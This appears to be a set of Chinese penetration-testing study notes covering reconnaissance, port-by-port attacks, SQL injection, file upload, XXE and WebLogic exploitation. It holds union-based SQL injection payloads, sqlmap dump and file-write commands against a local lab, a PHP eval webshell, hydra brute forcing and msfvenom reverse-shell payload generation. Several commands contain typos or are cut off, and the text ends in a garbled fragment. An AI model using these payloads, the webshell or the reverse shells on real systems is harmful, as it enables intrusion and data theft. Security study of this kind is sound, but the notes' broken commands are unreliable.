渗透测试笔记
信息收集
信息搜集是渗透测试的第一步,以下是一些常用的渗透测试信息搜集方法:
- 开放源码情报收集(OSINT):通过搜索引擎、社交网络、在线论坛等公共渠道搜索目标网站或系统的信息。
- 技术资料分析:分析目标网站或系统的技术资料,例如域名注册信息、服务器架构、网站备份等。
- 网络映射:通过对目标网站或系统进行探测和扫描,收集网络拓扑和服务信息。
- 漏洞分析:寻找公开的漏洞报告及其修补情况,探测已知漏洞是否存在。
- 社交工程学:通过与目标企业员工进行交互,获取敏感信息,例如账号密码等。
收集哪些信息:
- 服务器信息(端口、服务、真实IP)
- 网站信息(网站架构(操作系统、中间件、数据库、编程语言)、指纹信息、WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询)
- 域名信息(whois、备案信息、子域名)
- 人员信息(姓名、职务、生日、联系电话、邮件地址)
域名信息收集——whois
可以获得一些域名基本信息
查询备案信息
子域名收集
方法:
- site:域名
- ssl证书:https://crt.sh/
- 站长之家
- fofa搜索引擎:domain='主域名'
- 网页js源代码
ip信息收集
方法:
查询子域名ip
cdn:
- 判断cdn:多地ping:站长之家
- 绕过cdn:https://asm.ca.com.en/ping.php
- 查询历史dns:
c段存活主机弹出
- nmap:nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*
- cwebscanner
- K8Cscan
渗透端口:
ftp:
( 1) ftp基础爆破: owasp的Bruter,hydra以及msf中的ftp爆破模块。
(2) ftp匿名访问:用户名: anonymous密码:为空或者任意邮箱
(3) vsftpd后门: vsftpd 2到2.3.4版本存在后门漏洞,通过该漏洞获取root权限。
(4)嗅探: ftp使用明文传输,使用Cain进行渗透。(但是嗅探需要在局域网并需要欺骗或监听网关)
(5) ftp远程代码溢出。
(6) ftp跳转攻击。
ssh-22:
(1)弱口令,可使用工具hydra,msf中的ssh爆破模块。
(2)SSH后门
(3) openssh用户枚举CVE-2018-15473。
telnet-23
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。
(1)暴力破解,使用hydra,或者msf中telnet模块对其进行破解。
(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。
nmap漏洞扫描
扫描全端口:
- nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL liveHosts.txt
系统扫描:
- nmap -O -T4 -Pn -oG OSDetect -iL liveHosts.txt
版本检查
- nmap -sV -T4 -Pn -oG ServiceDetect -iL liveHosts.txt
历史漏洞扫描
http://wy.zone.ci
https://wooyun.kieran.top/#!
https://www.exploit-db.com
https://wiki.O-sec.org/#/md
https://www.seebuq.org
网站信息收集
网站指纹识别
操作系统
- ping判断:windows的TTL值一般为128,Linux一般为64。TTL大于100的一般为Windows,几十为LInux
- nmap -O
- Windows大小写不敏感
网站服务/容器类别
- f12:看response headers中的server
- whatweb:https://www.whatweb.net
- wappalyzer插件
cms识别
常见cms:dedecms, Discuz, phpcms等
- 在线识别攻击:http://whatweb,bugscanner.com/look
- Onlinetools
https://github.com/iceyhexman/onlinetools
https://pentest.gdpcisa.org
敏感文件及目录探测
github,git,svn,.DS_Store,.hg,.bzr,cvs,WEB-INF,备份文件
使用工具:dirsearch,御剑后台扫描工具,dirmap
针对漏洞的信息泄露
https://github.com/LandGrey/SpringBootVulExploit
https://github.com/rabbitmask/SB-Actuator
网站waf识别
wafw00f
nmap -p80,443 --script http-waf-detect ip
nmap -p80,443 --script http-waf-fingerprint ip
数据库
以下是一些常用的数据库名词及其解释:
-
数据库(Database):存储结构化数据的容器,可以通过各种方式来访问和管理其中的数据。
-
表(Table):数据库中存储实体数据的一种结构,由若干个字段(Column)组成。
-
字段(Column):表中存储数据的基本单元,每个字段有名称、数据类型和约束条件。
-
主键(Primary Key):唯一标识表中每个实体记录的字段(或字段组合),用来保证数据的唯一性和完整性。
-
外键(Foreign Key):用于建立表与表之间的联系,它指向另一个表的主键,用来保证数据的一致性和完整性。
-
索引(Index):用于提高数据库查询效率的结构,它可以在数据量大的情况下缩短查询时间。
-
视图(View):是由一个查询语句定义的虚拟表,它可以隐藏一些复杂查询的细节,使得查询更加方便。
-
触发器(Trigger):是一种在数据库特定事件发生时自动执行的代码,可用于实现数据库的自动化管理。
-
存储过程(Stored Procedure):是一段预编译的程序,可以接收参数和返回值,用于处理复杂的数据操作。
-
事务(Transaction):是一组数据库操作,要么全部执行成功,要么全部不执行,用来保证数据的一致性和完整性。
sql注入语句
1、看是否存在sql注入
2、判断sql注入是字符型还是数字型
进行闭合
group_concat函数把输出值拼接为一条函数
3、爆列数: order by
4、爆数据库名:database()
5、爆表名
union select 1,group_concat(table_name) 3,from infomation_schema.tables where table_schema=database()
5.2、爆列
union select 1,group_concat(column_name) 3,from infomation_schema.columns where table_name='users'
6、爆值
union select 1,2group_concat(username,password) from users --+
- 报错注入
- updatexml()
- extractvalue()
sqlmap工具 注入报错
-
less-2 sql拼接,SELECT * FROM users WHERE id=$id LIMIT 0,1
-
获取所有的数据库名
localhost/sqlilabs/less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
-
获取指定数据库下的表明信息
union select 1,group_conca(table_name),3 from information_schema.tables where table_schema='指定数据库'
sql盲注
- 布尔注入----逻辑注入
- 报错注入
联合注入
- 判断显示位
?id=-1' union select 1,2,3--+
UNION的作用是将两个select查询结果合并。
获取数据库名
?id=-1' union select 1,2,database()--+ 查看当前数据库
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+ 查看数据库 ;
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库;
获取表名
?id=-1' unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+查看所有的表;
获取列名
?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询字段信息;
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+查看所有的字段信息;
获取列中信息
?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个信息;
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 查询所有信息。
sqlmap
1.查看数据库
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs --batch
2.查看数据库里面的表
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch
3.查看数据库表里面的列
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns --batch
4.查看数据库列里面的具体的值
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password --dump --batch
暴力破解
使用条件:
1.MySQL数据库版本小于5.0,没有information——schema表。
2.Microssoft Access数据库。
3.当前用户没有权限读取系统中保存的数据。
1.暴力破解表名
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security --common-tables --batch
2.暴力破解列名
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security -Tusers --common-columns --batch
读取/上传文件
1.读取文件
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-read "C:/post.txt"
2写入文件
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-write "/root/1.txt" --file-dest "C:/phpstudy/PHPTutorial/www/1.txt"
文件上传漏洞
文件上传是将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务器端硬盘上作为真实文件保存。
文件上传产生漏洞的原因:
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
存在位置:图片上传,头像上传,文档上传
一般一个文件上传过程中的检测方式有:
- 客户端JavaScript检测(检测文件扩展名)
- 服务端MIME类型检测(检测content-type内容)服务端目录路径检测(检测跟path参数相尖的内容)
- 服务端文件扩展名检测(检测跟文件extension相关的内容)
- 服务端文件内容检测(检测内容是否合法是否含有恶意代码)等·
绕过MIME类型检查:
方法:用burpsuite截取并修改数据包中文件的content-type类型进行绕过
绕过文件后缀检测:
方法:大小写、末尾空格、末尾点、$DATA、配合apache解析漏洞、白名单策略
文件包含漏洞
出现位置:导航栏,底部footer栏
产生原因文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致执行了非预期代码。
命令执行
应用未对用户输入做严格的检查过滤,导致用户输入的参数被当成命令来执行。
远程代码执行:
eval(string $code)把字符串code作为php代码执行
assert(mixed $assertion )检查一个断言是否为false,如果assertion为字符串,他将会被assert当作php代码执行。
preg_replace('正则规则','替换字符','目标字符')
csrf及ssrf漏洞
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的.
csrf攻击的条件
- 登录受信任站点A,并在本地生成Cookie。
- 在不登出A的情况下,訪问危急站点B。
CSRF攻击类型
get类型的:
逻辑漏洞
xxe漏洞
首先寻找接受XML作为输入内容的端点。
- 可以通过修改HTTP的请求方法,修改Content-Type头部字段等等方法然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析那么则可能有XXE攻击漏洞。
如果站点解析xml,就可以尝试引用实体和DTD
如果可以引用外部实体,则存在xxe漏洞.
常见weblogic和thinkphp5
weblogic利用
任意文件上传漏洞(CVE-2018-2894)
- 漏洞原因:
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
XMLDecoder反序列化漏洞(CVE-2017-10271)
- 漏洞原因:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
反序列化漏洞(CVE-2018-2628)
漏洞原因:
T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
(可通过nmap脚本–script=weblogic-t3-info查看weblogic版本信息和t3协议是否开启)
webshell
<?php @eval($_POST['test']);?>
弱口令
- 使用hydra破解ssh
matasploit
msf获取materpreter
生产payload
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=
bash:
msfvenom -p cmd/unix/reverse bash LHOST=
perl:
msfvenom -p cmd/unix/reverse perl LHOST=
命令执行漏洞
cobkal s